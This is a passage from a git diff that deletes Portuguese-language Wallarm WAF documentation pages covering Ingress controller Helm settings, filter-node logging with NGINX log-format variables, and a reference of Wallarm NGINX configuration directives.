Cloud usando um token de API com o papel **Deploy** (seu valor é passado no parâmetro `controller.wallarm.token`). - -**Valor default**: `defaultIngressGroup` - -### controller.wallarm.existingSecret - -A partir da versão 4.4.1 do Helm chart, você pode usar este bloco de configuração para buscar um valor de token de nó Wallarm dos segredos do Kubernetes. Isso é útil para ambientes com gerenciamento de segredo separado (por exemplo, você usa um operador de segredos externos). - -Para armazenar o token de nó no K8s secrets e puxá-lo para o Helm chart: - -1. Crie um segredo Kubernetes com o token de nó Wallarm: - - ```bash - kubectl -n create secret generic wallarm-api-token --from-literal=token= - ``` - - * `` é o namespace Kubernetes que você criou para o lançamento do Helm com o controlador Wallarm Ingress. - * `wallarm-api-token` é o nome do segredo Kubernetes - * `` é o valor do token de nó Wallarm copiado da interface de usuário do Console Wallarm. - - Se estiver usando algum operador de segredos externos, siga a [documentação apropriada para criar um segredo](https://external-secrets.io). -1. Defina a seguinte configuração em `values.yaml`: - - ```yaml - controller: - wallarm: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**Valor padrão**: `existingSecret.enabled: false` que aponta para o Helm chart obter o token de nó Wallarm de `controller.wallarm.token`. - -### controller.wallarm.tarantool.replicaCount - -O número de pods em execução para postanalyics. Postanalytics é utilizado para a detecção de ataque baseada em comportamento. - -**Valor padrão**: `1` - -### controller.wallarm.tarantool.arena - -Especifica a quantidade de memória alocada para o serviço postanalyics. Recomenda-se configurar um valor suficiente para armazenar dados de solicitação dos últimos 5 a 15 minutos. - -**Valor padrão**: `0.2` - -### controller.wallarm.metrics.enabled - -Este interruptor [alterna](configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) a coleta de informações e métricas. Se [Prometheus](https://github.com/helm/charts/tree/master/stable/prometheus) estiver instalado no cluster Kubernetes, nenhuma configuração adicional será necessária. - -**Valor padrão**: `false` - -## Configurações Globais do Controlador - -Implementado via [ConfigMap](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/). - -Além dos padrão, os seguintes parâmetros adicionais são suportados: - -* [wallarm-acl-export-enable](configure-parameters-en.md#wallarm_acl_export_enable) -* [wallarm-upstream-connect-attempts](configure-parameters-en.md#wallarm_tarantool_upstream) -* [wallarm-upstream-reconnect-interval](configure-parameters-en.md#wallarm_tarantool_upstream) -* [wallarm-process-time-limit](configure-parameters-en.md#wallarm_process_time_limit) -* [wallarm-process-time-limit-block](configure-parameters-en.md#wallarm_process_time_limit_block) -* [wallarm-request-memory-limit](configure-parameters-en.md#wallarm_request_memory_limit) - -## Anotações de Ingressos - -Essas anotações são usadas para configurar os parâmetros de processamento para instâncias individuais do Ingress. - -[Além das padrão](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/), as seguintes anotações adicionais são suportadas: - -* [nginx.ingress.kubernetes.io/wallarm-mode](configure-parameters-en.md#wallarm_mode), padrão: off -* [nginx.ingress.kubernetes.io/wallarm-mode-allow-override](configure-parameters-en.md#wallarm_mode_allow_override) -* [nginx.ingress.kubernetes.io/wallarm-fallback](configure-parameters-en.md#wallarm_fallback) -* [nginx.ingress.kubernetes.io/wallarm-application](configure-parameters-en.md#wallarm_application) -* [nginx.ingress.kubernetes.io/wallarm-block-page](configure-parameters-en.md#wallarm_block_page) -* [nginx.ingress.kubernetes.io/wallarm-parse-response](configure-parameters-en.md#wallarm_parse_response) -* [nginx.ingress.kubernetes.io/wallarm-parse-websocket](configure-parameters-en.md#wallarm_parse_websocket) -* [nginx.ingress.kubernetes.io/wallarm-unpack-response](configure-parameters-en.md#wallarm_unpack_response) -* [nginx.ingress.kubernetes.io/wallarm-parser-disable](configure-parameters-en.md#wallarm_parser_disable) -* [nginx.ingress.kubernetes.io/wallarm-partner-client-uuid](configure-parameters-en.md#wallarm_partner_client_uuid) - -### Aplicando anotação ao recurso Ingress - -Para aplicar as configurações ao seu Ingress, por favor use o seguinte comando: - -``` -kubectl annotate --overwrite ingress -n = -``` - -* `` é o nome do seu Ingress -* `` é o namespace do seu Ingress -* `` é o nome da anotação da lista acima -* `` é o valor da anotação da lista acima - -### Exemplos de anotação - -#### Configurando a página de bloqueio e o código de erro - -A anotação `nginx.ingress.kubernetes.io/wallarm-block-page` é usada para configurar a página de bloqueio e o código de erro retornado na resposta à solicitação bloqueada pelos seguintes motivos: - -* A solicitação contém cargas úteis maliciosas dos seguintes tipos: [ataques de validação de entrada](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [ataques de vpatch](../user-guides/rules/vpatch-rule.md) ou [ataques detectados com base em expressões regulares](../user-guides/rules/regex-rule.md). -* A solicitação contendo cargas úteis maliciosas da lista acima se origina do [endereço IP na lista cinza](../user-guides/ip-lists/graylist.md) e o nó filtra as solicitações no [modo](configure-wallarm-mode.md) seguro de bloqueio. -* A solicitação se origina do [endereço IP na lista de negação](../user-guides/ip-lists/denylist.md). - -Por exemplo, para retornar a página padrão de bloqueio do Wallarm e o código de erro 445 na resposta a qualquer solicitação bloqueada: - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/html/wallarm_blocked.html response_code=445 type=attack,acl_ip,acl_source" -``` - -[Mais detalhes sobre os métodos de configuração da página de bloqueio e do código de erro →](configuration-guides/configure-block-page-and-code.md) - -#### Gerenciando o modo libdetection - -!!! info "Modo padrão **libdetection**" - O modo padrão da biblioteca **libdetection** é `on` (habilitado). - -Você pode controlar o modo [**libdetection**](../about-wallarm/protecting-against-attacks.md#library-libdetection) usando uma das opções: - -* Aplicando a seguinte anotação [`nginx.ingress.kubernetes.io/server-snippet`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet) ao recurso Ingress: - - ```bash - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/server-snippet="wallarm_enable_libdetection off;" - ``` -* Passe o parâmetro `controller.config.server-snippet` para o Helm chart: - - === "Instalação do controlador de Ingress" - ```bash - helm install --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` - - Existem também [outros parâmetros](#configurações-adicionais-para-helm-chart) necessários para a instalação correta do controlador de Ingress. Por favor, passe-os na opção `--set` também. - === "Atualizando parâmetros do controlador Ingress" - ```bash - helm upgrade --reuse-values --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-logging.md b/docs/latest-pt-BR/admin-en/configure-logging.md deleted file mode 100644 index beed04087f..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-logging.md +++ /dev/null @@ -1,81 +0,0 @@ -[link-nginx-logging-docs]: https://docs.nginx.com/nginx/admin-guide/monitoring/logging/ -[doc-vuln-list]: ../attacks-vulns-list.md -[doc-lom]: ../user-guides/rules/rules.md - -# Trabalhando com Logs do Nó de Filtro - -Um nó de filtro armazena os seguintes arquivos de log no diretório `/var/log/wallarm`: - -* `brute-detect.log`: o log da recuperação dos contadores relacionados ao ataque de força bruta no cluster do nó de filtro. -* `export-attacks.log`: o log da exportação dos dados dos ataques do módulo pós-analítico para a nuvem Wallarm. -* `export-environment.log`: o log da coleta das versões do pacote Wallarm instalado e do upload desses dados para a nuvem Wallarm a serem exibidos nos detalhes do nó de filtragem no console Wallarm. Esses processos são executados uma vez por hora. -* `syncnode.log`: o log da sincronização do nó de filtro com a nuvem Wallarm (isso inclui a busca dos arquivos [LOM][doc-lom] e proton.db da nuvem). -* `tarantool.log`: o log das operações do módulo pós-analítico. -* `sync-ip-lists.log` (nomeado como `sync-blacklist.log` nas versões anteriores do nó): o log da sincronização do nó de filtragem com os endereços IP adicionados às [listas IP](../user-guides/ip-lists/overview.md) como objetos únicos ou sub-redes. -* `sync-ip-lists-source.log` (nomeado como `sync-mmdb.log` nas versões anteriores do nó): o log da sincronização do nó de filtragem com os endereços IP registrados em países, regiões e data centers a partir das [listas IP](../user-guides/ip-lists/overview.md). -* `appstructure.log` (somente nos contêineres Docker): o log da atividade do módulo [Descoberta de API](../api-discovery/overview.md). -* `registernode_loop.log` (somente nos contêineres Docker): o log da atividade do script de início que executa o script `register-node` enquanto ele é executado com sucesso. -* `weak-jwt-detect.log`: o log da detecção da [vulnerabilidade JWT](../attacks-vulns-list.md#weak-jwt). - -## Configurando o Log Extendido para o Nó de Filtro Baseado em NGINX - -NGINX escreve logs das solicitações processadas (logs de acesso) em um arquivo de log separado, usando o formato de log `combined` predefinido por padrão. - -``` -log_format combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" '; -``` - -Você pode definir e usar um formato de log personalizado incluindo uma ou várias variáveis do nó de filtro (além de outras variáveis do NGINX, se necessário). O arquivo de log NGINX permitirá diagnósticos de nó de filtro muito mais rápidos. - -### Variáveis do Nó de Filtro - -Você pode usar as seguintes variáveis do nó de filtro ao definir o formato de log do NGINX: - -|Nome|Tipo|Valor| -|---|---|---| -|`request_id`|String|Identificador de solicitação
            Tem a seguinte forma de valor: `a79199bcea606040cc79f913325401fb`| -|`wallarm_request_cpu_time`|Flutuante|Tempo em segundos que a CPU da máquina com o nó de filtragem passou processando a solicitação.| -|`wallarm_request_mono_time`|Flutuante|Tempo em segundos que a CPU passou processando a solicitação + tempo na fila. Por exemplo, se a solicitação estava na fila por 3 segundos e processada pela CPU por 1 segundo, então:
            • `"wallarm_request_cpu_time":1`
            • `"wallarm_request_mono_time":4`
            | -|`wallarm_serialized_size`|Inteiro|Tamanho da solicitação serializada em bytes| -|`wallarm_is_input_valid`|Inteiro|Validade da solicitação
            `0`: solicitação é válida. A solicitação foi verificada pelo nó de filtro e corresponde às regras LOM.
            `1`: solicitação é inválida. A solicitação foi verificada pelo nó de filtro e não corresponde às regras LOM.| -| `wallarm_attack_type_list` | String | [Tipos de ataques][doc-vuln-list] detectados na solicitação com a biblioteca [libproton](../about-wallarm/protecting-against-attacks.md#library-libproton). Os tipos são apresentados em formato de texto:
            • xss
            • sqli
            • rce
            • xxe
            • ptrav
            • crlf
            • redir
            • nosqli
            • infoleak
            • overlimit_res
            • data_bomb
            • vpatch
            • ldapi
            • scanner
            • mass_assignment
            • ssrf
            • ssi
            • mail_injection
            • ssti
            • invalid_xml
            Se vários tipos de ataques forem detectados em uma solicitação, eles serão listados com o símbolo `|`. Por exemplo: se ataques XSS e SQLi forem detectados, o valor da variável é `xss|sqli`. | -|`wallarm_attack_type`|Inteiro|[Tipos de ataques][doc-vuln-list] detectados na solicitação com a biblioteca [libproton](../about-wallarm/protecting-against-attacks.md#library-libproton). Os tipos são apresentados em formato de string de bit:
            • `0x00000000`: sem ataque: `"0"`
            • `0x00000002`: xss: `"2"`
            • `0x00000004`: sqli: `"4"`
            • `0x00000008`: rce: `"8"`
            • `0x00000010`: xxe: `"16"`
            • `0x00000020`: ptrav: `"32"`
            • `0x00000040`: crlf: `"64"`
            • `0x00000080`: redir: `"128"`
            • `0x00000100`: nosqli: `"256"`
            • `0x00000200`: infoleak: `"512"`
            • `0x20000000`: overlimit_res: `"536870912"`
            • `0x40000000`: data_bomb: `"1073741824"`
            • `0x80000000`: vpatch: `"2147483648"`
            • `0x00002000`: ldapi: `"8192"`
            • `0x4000`: scanner: `"16384"`
            • `0x20000`: mass_assignment: `"131072"`
            • `0x80000`: ssrf: `"524288"`
            • `0x02000000`: ssi: `"33554432"`
            • `0x04000000`: mail_injection: `"67108864"`
            • `0x08000000`: ssti: `"134217728"`
            • `0x10000000`: invalid_xml: `"268435456"`
            Se vários tipos de ataques forem detectados em uma solicitação, os valores são resumidos. Por exemplo: se ataques XSS e SQLi forem detectados, o valor da variável é `6`. | - -### Exemplo de Configuração - -Vamos supor que você precise especificar o formato de log estendido chamado `wallarm_combined` que inclui as seguintes variáveis: -* todas as variáveis usadas no formato `combined` -* todas as variáveis do nó de filtro - -Para fazer isso, execute as seguintes ações: - -1. As linhas abaixo descrevem o formato de log desejado. Adicione-as ao bloco `http` do arquivo de configuração do NGINX. - - ``` - log_format wallarm_combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" ' - '$wallarm_request_cpu_time $wallarm_request_mono_time $wallarm_serialized_size $wallarm_is_input_valid $wallarm_attack_type $wallarm_attack_type_list'; - ``` - -2. Ative o formato de log estendido adicionando a seguinte diretiva ao mesmo bloco como na primeira etapa: - - `access_log /var/log/nginx/access.log wallarm_combined;` - - Os logs de solicitações processadas serão escritos no formato `wallarm_combined` no arquivo `/var/log/nginx/access.log`. - - !!! info "Logging Condicional" - Com a diretiva listada acima, todas as solicitações processadas serão registradas em um arquivo de log, inclusive aquelas que não estão relacionadas a um ataque. - - Você pode configurar o log condicional para gravar logs apenas para as solicitações que fazem parte de um ataque (o valor da variável `wallarm_attack_type` não é zero para essas solicitações). Para fazer isso, adicione uma condição à diretiva mencionada: `access_log /var/log/nginx/access.log wallarm_combined if=$wallarm_attack_type;` - - Isso pode ser útil se você quiser reduzir o tamanho de um arquivo de log, ou se você integrar um nó de filtro com uma das [soluções SIEM](https://www.wallarm.com/what/siem-whats-security-information-and-event-management-technology-part-1). - -3. Reinicie o NGINX executando um dos seguintes comandos, dependendo do sistema operacional que você está usando: - - --8<-- "../include-pt-BR/waf/restart-nginx-4.4-and-above.md" - -!!! info "Informação detalhada" - Para ver informações detalhadas sobre a configuração de logs no NGINX, prossiga para este [link][link-nginx-logging-docs]. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configure-parameters-en.md b/docs/latest-pt-BR/admin-en/configure-parameters-en.md deleted file mode 100644 index b8ac3e7383..0000000000 --- a/docs/latest-pt-BR/admin-en/configure-parameters-en.md +++ /dev/null @@ -1,761 +0,0 @@ -[doc-nginx-install]: ../installation/nginx/dynamic-module-from-distr.md -[doc-eu-scanner-ip-addresses]: scanner-addresses.md -[doc-us-scanner-ip-addresses]: scanner-addresses.md -[acl-access-phase]: #wallarm_acl_access_phase - -# Opções de configuração para o nó Wallarm baseado em NGINX - -Saiba mais sobre as opções de ajuste fino disponíveis para os módulos NGINX da Wallarm para obter o máximo da solução Wallarm. - -!!! info "Documentação oficial do NGINX" - A configuração Wallarm é muito semelhante à configuração NGINX. [Veja a documentação oficial do NGINX](https://www.nginx.com/resources/admin-guide/). Junto com as opções de configuração específicas da Wallarm, você tem as capacidades completas da configuração NGINX. - -## Diretivas Wallarm - -### disable_acl - -Permite a desativação da análise de origens de solicitações. Se desativado (`on`), o nó de filtragem não baixa [listas de IP](../user-guides/ip-lists/overview.md) do Wallarm Cloud e pula a análise de IPs de origem de solicitação. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - O valor padrão é `off`. - -### wallarm_acl_access_phase - -A diretiva obriga o nó Wallarm baseado em NGINX a bloquear solicitações originadas de IPs na [lista de negação](../user-guides/ip-lists/denylist.md) na fase de acesso NGINX, o que significa: - -* Com `wallarm_acl_access_phase on`, o nó Wallarm bloqueia imediatamente quaisquer solicitações de IPs na lista de negação em qualquer [modo de filtração](configure-wallarm-mode.md) e não procura sinais de ataque em solicitações de IPs na lista de negação. - - Este é o valor **padrão e recomendado** pois faz as listas de negação funcionarem de maneira padrão e reduz significativamente a carga da CPU do nó. - -* Com `wallarm_acl_access_phase off`, o nó Wallarm analisa primeiro os sinais de ataque nas solicitações e então, se operando no modo `block` ou `safe_blocking`, bloqueia solicitações originadas de IPs na lista de negação. - - No modo de filtração `off`, o nó não analisa solicitações e não verifica listas de negação. - - No modo de filtração `monitoring`, o nó procura sinais de ataque em todas as solicitações, mas nunca bloqueia, mesmo se o IP de origem estiver na lista de negação. - - O comportamento do nó Wallarm com `wallarm_acl_access_phase off` aumenta significativamente a carga da CPU do nó. - -!!! info "Valor padrão e interação com outras diretrizes" - **Valor padrão**: `on` (a partir do nó Wallarm 4.2) - - A diretiva só pode ser definida dentro do bloco http do arquivo de configuração do NGINX. - - * Com [`disable_acl on`](#disable_acl), as listas de IP não são processadas e a ativação `wallarm_acl_access_phase` não faz sentido. - * A diretiva `wallarm_acl_access_phase` tem prioridade sobre [`wallarm_mode`](#wallarm_mode) que resulta no bloqueio de solicitações de IPs na lista de negação, mesmo que o modo de filtragem do nó seja `off` ou `monitoring` (com `wallarm_acl_access_phase on`). - -### wallarm_acl_export_enable - -A diretiva habilita `on`/desabilita `off` o envio de estatísticas sobre as solicitações dos IPs na [lista de negação](../user-guides/ip-lists/denylist.md) do nó para a Nuvem. - -* Com `wallarm_acl_export_enable on`, as estatísticas sobre as solicitações dos IPs na lista de negação serão [exibidas](../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips) na seção **Eventos**. -* Com `wallarm_acl_export_enable off`, as estatísticas sobre as solicitações dos IPs na lista de negação não serão exibidas. - -!!! info - Este parâmetro é definido dentro do bloco http. - - **Valor padrão**: `on`. - -### wallarm_api_conf - -Um caminho para o arquivo `node.yaml`, que contém requisitos de acesso para a API Wallarm. - -**Exemplo**: -``` -wallarm_api_conf /etc/wallarm/node.yaml -``` - -Usado para enviar solicitações serializadas do nó de filtragem diretamente para a API Wallarm (Cloud) em vez de fazer o upload para o módulo postanalytics (Tarantool). -**Apenas solicitações com ataques são enviadas para a API.** As solicitações sem ataques não são salvas. - -**Exemplo do conteúdo do arquivo node.yaml:** -``` bash -# Credenciais de conexão com a API - -hostname: -uuid: -secret: - -# Parâmetros de conexão com a API (os parâmetros abaixo são usados por padrão) - -api: - host: api.wallarm.com - port: 443 - ca_verify: true -``` - -### wallarm_application - -Identificador único da aplicação protegida a ser usado na Wallarm Cloud. O valor pode ser um número inteiro positivo, exceto `0`. - -Identificadores únicos podem ser definidos tanto para os domínios da aplicação quanto para os caminhos do domínio, por exemplo: - -=== "Identificadores para domínios" - Arquivo de configuração para o domínio **exemplo.com**: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 1; - location / { - proxy_pass http://exemplo.com; - include proxy_params; - } - } - ``` - - Arquivo de configuração para o domínio **teste.com**: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 2; - location / { - proxy_pass http://teste.com; - include proxy_params; - } - } - ``` -=== "Identificadores para caminhos de domínio" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - location /login { - proxy_pass http://exemplo.com/login; - include proxy_params; - wallarm_application 3; - } - - location /users { - proxy_pass http://exemplo.com/users; - include proxy_params; - wallarm_application 4; - } - } - ``` - -[Mais detalhes sobre a configuração de aplicações →](../user-guides/settings/applications.md) - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `-1`. - -### wallarm_block_page - -Permite a configuração da resposta à solicitação bloqueada. - -[Mais detalhes sobre a configuração de página e código de erro de bloqueio →](configuration-guides/configure-block-page-and-code.md) - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - -### wallarm_block_page_add_dynamic_path - -Esta diretiva é usada para inicializar a página de bloqueio que possui variáveis NGINX em seu código e o caminho para esta página de bloqueio também é definido usando uma variável. Caso contrário, a diretiva não é usada. - -[Mais detalhes sobre a configuração de página e código de erro de bloqueio →](configuration-guides/configure-block-page-and-code.md) - -!!! info - A diretiva pode ser configurada dentro do bloco `http` do arquivo de configuração do NGINX. - -### wallarm_cache_path - -Um diretório em que o catálogo de backup para o armazenamento de cópia do arquivo proton.db e o arquivo de regras personalizado é criado ao inicializar o servidor. Este diretório deve ser gravável para o cliente que executa o NGINX. - -!!! info - Este parâmetro é configurado apenas no bloco http. - -### wallarm_custom_ruleset_path - -Um caminho para o arquivo [conjunto de regras personalizado](../user-guides/rules/rules.md) que contém informações sobre a estrutura da aplicação protegida e as configurações do nó de filtragem. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `/etc/wallarm/custom_ruleset` - -### wallarm_enable_libdetection - -Ativa/desativa a validação adicional dos ataques de injeção de SQL por meio da biblioteca **libdetection**. O uso de **libdetection** garante a detecção dupla de ataques e reduz o número de falsos positivos. - -A análise de solicitações com a biblioteca **libdetection** é habilitada por padrão em todas as [opções de implementação](../installation/supported-deployment-options.md). Para reduzir o número de falsos positivos, recomendamos que a análise permaneça habilitada. - -[Mais detalhes sobre **libdetection** →](../about-wallarm/protecting-against-attacks.md#library-libdetection) - -!!! warning "Aumento do consumo de memória" - Ao analisar ataques usando a biblioteca libdetection, a quantidade de memória consumida pelos processos NGINX e Wallarm pode aumentar cerca de 10%. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - O valor padrão é `on` para todas as [opções de implementação](../installation/supported-deployment-options.md). - -### wallarm_fallback - -Com o valor definido como `on`, o NGINX tem a habilidade de entrar em um modo de emergência; se o proton.db ou o conjunto de regras personalizado não puderem ser baixados, esta configuração desabilita o módulo Wallarm para os blocos http, server e location, para os quais os dados não conseguem ser baixados. O NGINX continua funcionando. - -!!! info - Valor padrão é `on`. - - Este parâmetro pode ser definido dentro dos blocos http, server e location. - -### wallarm_force - -Define a análise das solicitações e a geração de regras personalizadas com base no tráfego espelhado do NGINX. Veja [Analisando tráfego espelhado com NGINX](../installation/oob/web-server-mirroring/overview.md). - -### wallarm_general_ruleset_memory_limit - -Define um limite para a quantidade máxima de memória que pode ser usada por uma instância do proton.db e um arquivo de conjunto de regras personalizadas. - -Se o limite de memória for excedido durante o processamento de alguma solicitação, o usuário receberá um erro 500. - -Os seguintes sufixos podem ser usados neste parâmetro: -* `k` ou `K` para kilobytes -* `m` ou `M` para megabytes -* `g` ou `G` para gigabytes - -Um valor de **0** desativa o limite. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e/ou location. - - **Valor padrão**: `1` GB - -### wallarm_global_trainingset_path - -!!! warning "A diretiva está obsoleta" - A partir do nó Wallarm 3.6, por favor use a diretiva [`wallarm_protondb_path`](#wallarm_protondb_path). Basta mudar o nome da diretiva, a lógica não mudou. - -### wallarm_file_check_interval - -Define um intervalo entre verificar novos dados no proton.db e no arquivo de conjunto de regras personalizadas. A unidade de medida é especificada no sufixo conforme abaixo: -* sem sufixo para minutos -* `s` para segundos -* `ms` para milissegundos - -!!! info - Este parâmetro é configurado apenas dentro do bloco http. - - **Valor padrão**: `1` (um minuto) - -### wallarm_instance - -!!! warning "A diretiva está obsoleta" - * Se a diretiva era usada para definir o identificador único da aplicação protegida, basta renomeá-la para [`wallarm_application`](#wallarm_application). - * Para definir o identificador único do inquilino para os nós multi-inquilino, em vez de `wallarm_instance`, use a diretiva [`wallarm_partner_client_uuid`](#wallarm_partner_client_uuid). - - Ao atualizar a configuração que você usava para seu nó de filtragem da versão anterior ao 4.0: - - * Se você atualizar o nó de filtragem sem o recurso de multilocação e tiver alguma `wallarm_instance` usada para definir o identificador único da aplicação protegida, basta renomeá-la para `wallarm_application`. - * Se você atualizar o nó de filtragem com recurso de multilocação, considere todos `wallarm_instance` como `wallarm_application`, então reescreva a configuração conforme descrito na [instrução de reconfiguração de multilocação](../updating-migrating/older-versions/multi-tenant.md#step-3-reconfigure-multitenancy). - -### wallarm_key_path - -Um caminho para a chave privada Wallarm usada para encriptação/descriptografia dos arquivos proton.db e conjunto de regras personalizadas. - -!!! info - **Valor padrão**: `/etc/wallarm/private.key` (no nó Wallarm 3.6 e inferiores, `/etc/wallarm/license.key`) - -### wallarm_local_trainingset_path - -!!! warning "A diretiva está obsoleta" - A partir do nó Wallarm 3.6, por favor use a diretiva [`wallarm_custom_ruleset_path`](#wallarm_custom_ruleset_path). Basta mudar o nome da diretiva, a lógica não mudou. - -### wallarm_mode - -Modo de processamento de tráfego: - -* `off` -* `monitoring` -* `safe_blocking` -* `block` - ---8<-- "../include-pt-BR/wallarm-modes-description-latest.md" - -A utilização de `wallarm_mode` pode ser restrita pela diretiva `wallarm_mode_allow_override`. - -[Instruções detalhadas sobre a configuração do modo de filtração →](configure-wallarm-mode.md) - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão** depende do método de implementação do nó de filtragem (pode ser `off` ou `monitoring`) - -### wallarm_mode_allow_override - -Gerencia a habilidade de substituir os valores de [`wallarm_mode`](#wallarm_mode) via regras de filtragem baixadas da Wallarm Cloud (conjunto de regras personalizadas): - -- `off` - as regras personalizadas são ignoradas. -- `strict` - regras personalizadas só podem fortalecer o modo de operação. -- `on` - é possível fortalecer e suavizar o modo de operação. - -Por exemplo, com `wallarm_mode monitoring` e `wallarm_mode_allow_override strict` configurados, o Wallarm Console pode ser usado para habilitar o bloqueio de algumas solicitações, mas a análise de ataques não pode ser totalmente desativada. - -[Instruções detalhadas sobre a configuração do modo de filtração →](configure-wallarm-mode.md) - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `on` - -### wallarm_parse_response - -Se analisar ou não as respostas da aplicação. A análise de resposta é necessária para a detecção de vulnerabilidades durante a [detecção passiva](../about-wallarm/detecting-vulnerabilities.md#passive-detection) e [verificação ativa de ameaças](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification). - -Os possíveis valores são `on` (a análise da resposta está habilitada) e `off` (a análise da resposta está desabilitada). - -!!! info - Este parâmetro pode ser definido nos blocos http, server e location. - - **Valor padrão**: `on` - -!!! warning "Melhore o desempenho" - Recomendamos que você desabilite o processamento de arquivos estáticos através do `location` para melhorar o desempenho. - -### wallarm_parse_websocket - -O Wallarm oferece suporte total ao WebSockets sob o plano de assinatura API Security. Por padrão, as mensagens do WebSockets não são analisadas quanto a ataques. - -Para forçar o recurso, ative o plano de assinatura API Security e use a diretiva `wallarm_parse_websocket`. - -Possíveis valores: - -- `on`: a análise de mensagens está habilitada. -- `off`: a análise de mensagens está desabilitada. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `off` - -### wallarm_parser_disable - -Permite a desativação de parsers. Os valores de diretiva correspondem ao nome do parser a ser desativado: - -- `cookie` -- `zlib` -- `htmljs` -- `json` -- `multipart` -- `base64` -- `percent` -- `urlenc` -- `xml` -- `jwt` - -**Exemplo** - -``` -wallarm_parser_disable base64; -wallarm_parser_disable xml; -location /ab { - wallarm_parser_disable json; - wallarm_parser_disable base64; - proxy_pass http://exemplo.com; -} -location /zy { - wallarm_parser_disable json; - proxy_pass http://exemplo.com; -} -``` - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - -### wallarm_parse_html_response - -Se aplicar ou não os parsers HTML ao código HTML recebido na resposta da aplicação. Os possíveis valores são `on` (o parser HTML é aplicado) e `off` (o parser HTML não é aplicado). - -Este parâmetro só é efetivo se `wallarm_parse_response on`. - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: `on` - -### wallarm_partner_client_uuid - -Identificador único do inquilino para o nó Wallarm [multi-inquilino](../installation/multi-tenant/overview.md). O valor deve ser uma string no formato [UUID](https://en.wikipedia.org/wiki/Universally_unique_identifier#Format), por exemplo: - -* `11111111-1111-1111-1111-111111111111` -* `123e4567-e89b-12d3-a456-426614174000` - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - Saiba como: - - * [Obter o UUID do inquilino durante a criação do inquilino →](../installation/multi-tenant/configure-accounts.md#step-3-create-the-tenant-via-the-wallarm-api) - * [Obter a lista de UUIDs dos inquilinos existentes →](../updating-migrating/older-versions/multi-tenant.md#get-uuids-of-your-tenants) - -Exemplo de configuração: - -``` -server { - server_name inquilino1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - -server { - server_name inquilino1-1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - wallarm_application 23; - ... -} - -server { - server_name inquilino2.com; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - ... -} -... -} -``` - -Na configuração acima: - -* O Inquilino é o cliente do parceiro. O parceiro tem 2 clientes. -* O tráfego direcionado para `inquilino1.com` e `inquilino1-1.com` será associado ao cliente `11111111-1111-1111-1111-111111111111`. -* O tráfego direcionado para `inquilino2.com` será associado ao cliente `22222222-2222-2222-2222-222222222222`. -* O primeiro cliente também possui 3 aplicativos, especificados via a diretiva [`wallarm_application`](#wallarm_application): - * `inquilino1.com/login` - `wallarm_application 21` - * `inquilino1.com/users` - `wallarm_application 22` - * `inquilino1-1.com` - `wallarm_application 23` - - O tráfego direcionado a esses 3 caminhos será associado à aplicação correspondente, e o restante será o tráfego genérico do primeiro cliente. - -### wallarm_process_time_limit - -!!! warning "A diretiva está obsoleta" - A partir da versão 3.6, é recomendado afinar a detecção de ataque `overlimit_res` usando a [regra **Fine-tune the overlimit_res attack detection**](../user-guides/rules/configure-overlimit-res-detection.md). - - A diretiva `wallarm_process_time_limit` está temporariamente suportada, mas será removida em futuras versões. - -Configura o limite de tempo para o processamento de uma única solicitação pelo nó Wallarm. - -Se o tempo exceder o limite, será registrado um erro no log e o pedido será marcado como o ataque [`overlimit_res`](../attacks-vulns-list.md#overlimiting-of-computational-resources). Dependendo do valor de [`wallarm_process_time_limit_block`](#wallarm_process_time_limit_block), o ataque pode ser bloqueado, monitorado ou ignorado. - -O valor é especificado em milissegundos sem unidades, por exemplo: - -```bash -wallarm_process_time_limit 1200; # 1200 milissegundos -wallarm_process_time_limit 2000; # 2000 milissegundos -``` - -!!! info - Este parâmetro pode ser definido dentro dos blocos http, server e location. - - **Valor padrão**: 1000ms (um segundo). - -### wallarm_process_time_limit_block - -!!! warning "A diretiva está obsoleta" - A partir da 